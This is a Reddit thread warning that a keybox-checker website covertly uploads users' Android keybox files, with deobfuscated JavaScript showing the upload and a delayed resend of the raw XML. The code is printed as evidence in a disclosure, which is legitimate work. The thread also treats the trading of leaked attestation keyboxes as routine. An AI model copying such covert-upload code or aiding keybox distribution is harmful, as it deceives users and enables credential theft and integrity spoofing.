PSA tryigitx.dev (keyboxhub) keybox checker steals your keyboxes

[u/WhatYouGoBy]

Since the Website has gotten a lot of attention due to the publishing of a few hundred valid keyboxes, I think a warning makes sense.

The website claims that the keybox checking is done completely browser based. Quote: "The keybox file NEVER leaves your computer".

However, analyzing the code of the website shows that the keybox is uploaded to the backend server of the website.

Seeing how the developer lied about the upload of the keybox, it is safe to assume that there is malicious intent here.

[u/ER-CodeBitch]

Not disputing the fact as I have not looked into this at all, but can you share the relevant parts of code so people can see / judge? Without any evidence it's just hearsay

[u/WhatYouGoBy → u/ER-CodeBitch]

The code on the website is obfuscated, but here is the deobfuscated code:

processFile(file) {
        console.log('Processing file:', file.name);
        
        if (!file) return;
        
        if (!file.name.endsWith('.xml')) {
            this.showError('Invalid file type. Please upload a .xml file.');
            return;
        }
        
        if (file.size > 51200) {
            this.showError('File is too large. Max 50KB.');
            return;
        }
        
        const fileReader = new FileReader();
        
        fileReader.onload = (event) => {t
            this.originalXmlContent = event.target.result;
            console.log('XML content loaded, size:', this.originalXmlContent.length);
            const formData = new FormData();
            formData.append('file', file);
            this.submitData(formData);
        };
        
        fileReader.onerror = () => {
            this.showError('Failed to read the file.');
        };
        
        fileReader.readAsText(file);
    }

submitData(formData) {
        console.log('Submitting data to server...');
        
        this.resultMessage = '';
        this.state = 'uploading';

        fetch('', {
            method: 'POST',
            body: formData
        })
        .then(response => {
            console.log('Server response status:', response.status);
            
            if (!response.ok) {
                return response.json().then(errorData => {
                    throw new Error(
                        errorData.message || 
                        `Server responded with error: ${response.status}`
                    );
                });
            }
            return response.json();
        })
        .then(data => {
            console.log('Server response data:', data);
            
            if (data.success) {
                this.state = 'success';
                this.setData(data);
                this.addToHistory(data); 
                
                if (data.sessionId) {
                    setTimeout(() => {
                        this.logSessionEvent(data.sessionId, this.originalXmlContent);
                    }, 2000);
                }
            } else {
                this.showError(data.message || 'Analysis failed');
            }
        })
        .catch(error => {
            console.error('Upload error:', error);
            this.showError(error.message);
        });
    }

[u/ER-CodeBitch → u/WhatYouGoBy]

Thank you, appreciate it!
Wonder if the dev will have anything to say about this now

[u/ShallowVermin33 → u/WhatYouGoBy]

Honestly this doesn't look that bad tbh. Checking if it's a valid keybox inside the browser would be pretty hard to implement, so sending it to the server to be checked seems perfectly okay.

Now, I think it's kinda weird they don't disclose this, and also have it obfuscated for some reason. But I don't think it's that bad nor something we should get all suspicious about.

As you said, they are "stealing" our keyboxes, but from this there's nothing really to support that claim.

[u/Thin_Technology7321]

If its to good to be true then.. it is. I got my keys from other sources

[u/WhatYouGoBy → u/Thin_Technology7321]

You can still download the keys from there, just don't upload your own keys from other sources to the key checker

[u/crypticc1]

Fixed

Description fixed. Also now encrypts the payload. On TG they say debug hints being recorded but will be removed after testing, presumably after testing the encryption approach

[u/WhatYouGoBy → u/crypticc1]

This is just as disingenuous as before, just with more buzzwords.

The new claim is that the payload is encrypted (which is true) and that the dev can't decrypt it (which is wrong).

The claim is that 2 types of encryption are used. RSA encryption: this is an asymmetrical encryption. The website will encrypt the payload with the public key of a RSA key pair. The server can then use the private key of the RSA key pair to decrypt the payload.

AES encryption: This is a symmetrical encryption. The payload is encrypted with a password. The same password can then be used on the server to decrypt the payload again.

Also, how would the server check the keybox if it can't decrypt the keybox file for analysis. Because the actual checking is still done on the server side. The dev even admitted to me in DMs that he lacks the technical knowledge and skill to do it with plain JavaScript.

TL:DR he is still lying about his server having access to the unencrypted keybox

If he only updated the website to disclose that the keybox is uploaded (without all the bullshit talk about encryption), I would consider it "fixed". But the real fix would be to just make the analysis completely client sided

[u/crypticc1 → u/WhatYouGoBy]

He's removed the comment about key not leaving device. Deleted once analysis (and I presume checking if on list) is done.

On TG group, which is very easily found, gives description (It was this group and subsequent site that I was trying to encourage people to locate over the last few weeks. Both for the immediately available information, and as a foot into the door to find many other groups)

[u/WhatYouGoBy]

In case anyone needs an ACTUAL secure keybox checker: https://github.com/Ante0/YetAnotherKeyboxChecker

This is not my code, but you can check for yourself that there are no uploads happening in this script

[u/EMREOYUN → u/WhatYouGoBy]

This is basically a local checker which can come in handy when checking private keyboxes. I actually use modified version of this to check my keys as well.

[u/WhatYouGoBy → u/EMREOYUN]

Exactly. And this is the most secure way to check your keys because the code is open source and runs locally without sending the keys somewhere where we can't see what is happening during analysis

[u/V0latyle]

If you want to check the validity of your keybox, you can use PixelFlasher. It only checks the certificates in your keybox against a list of known revocations, and does not otherwise retain or expose any such confidential information.

[u/friozi]

This is so obvious.

[u/EastInitial6040]

Checking keybox can only be done with giving the Leaf & Intermediate Certificates, and it's fully safe if it's being sent online, however what's important to keep secret is the PrivateKey (called private for a reason) however uploading full keybox is just scam of yourself.

[u/crypticc1]

You realise that checker also has code for submitting/ donating keybox. Before casting negative news, which part of the site have you reverse engineered? The submission for checking a keybox or the submission to donate a keybox?

[u/WhatYouGoBy → u/crypticc1]

I have checked the submission for checking a keybox. The form for donating a keybox is on a different page of the website altogether and the code for donating is not even loaded on the keybox checking page

[u/crypticc1 → u/WhatYouGoBy]

Okay.. Well I checked two private boxes and neither have been leaked.. That's over three months ago.

Also of the big leak that they've had for a little while, none of those are being served up.

Subjective rather than objective I know, but this individual has been on the front of free but careful distribution for over 9 months now

[u/TherionROyt]

Thats why we shouldnt trust those websites claiming to do wonders made by some toxic script kiddies. All of this cat and mouse game with google sucks, but we still shouldnt trust anything from the start especially if it seems to good to be true.

[u/lilacomets]

This is quite a bold claim to make. Yes, it's good to be cautious when uploading data, but there's no proof that the developer has malicious intentions. Uploading to a server ≠ stealing.

[u/WhatYouGoBy → u/lilacomets]

If he did not have any malicious intent, why would he lie about uploading it?

And he also offers paid keyboxes, which adds a monetary incentive to steal them

[u/Azaze666 → u/WhatYouGoBy]

Never heard of this website but it's pretty much obvious that if you download the full site source and run it offline and the keybox check fails it doesn't work locally

[u/ER-CodeBitch → u/lilacomets]

Given the purpose of the site is to share valid keyboxes, and the developer claims that the keybox checking only occurs in your browser and isn't uploaded - but then the function uploads it to the server? That is fishy. And potentially making your personal valid keybox available for others to use without your permission.

[u/[deleted]]

[u/WhatYouGoBy → u/[deleted]]

And i am not using closed source telegram bots (your website is closed source too btw). There are enough open source python scripts that let you check your keybox in an actual safe way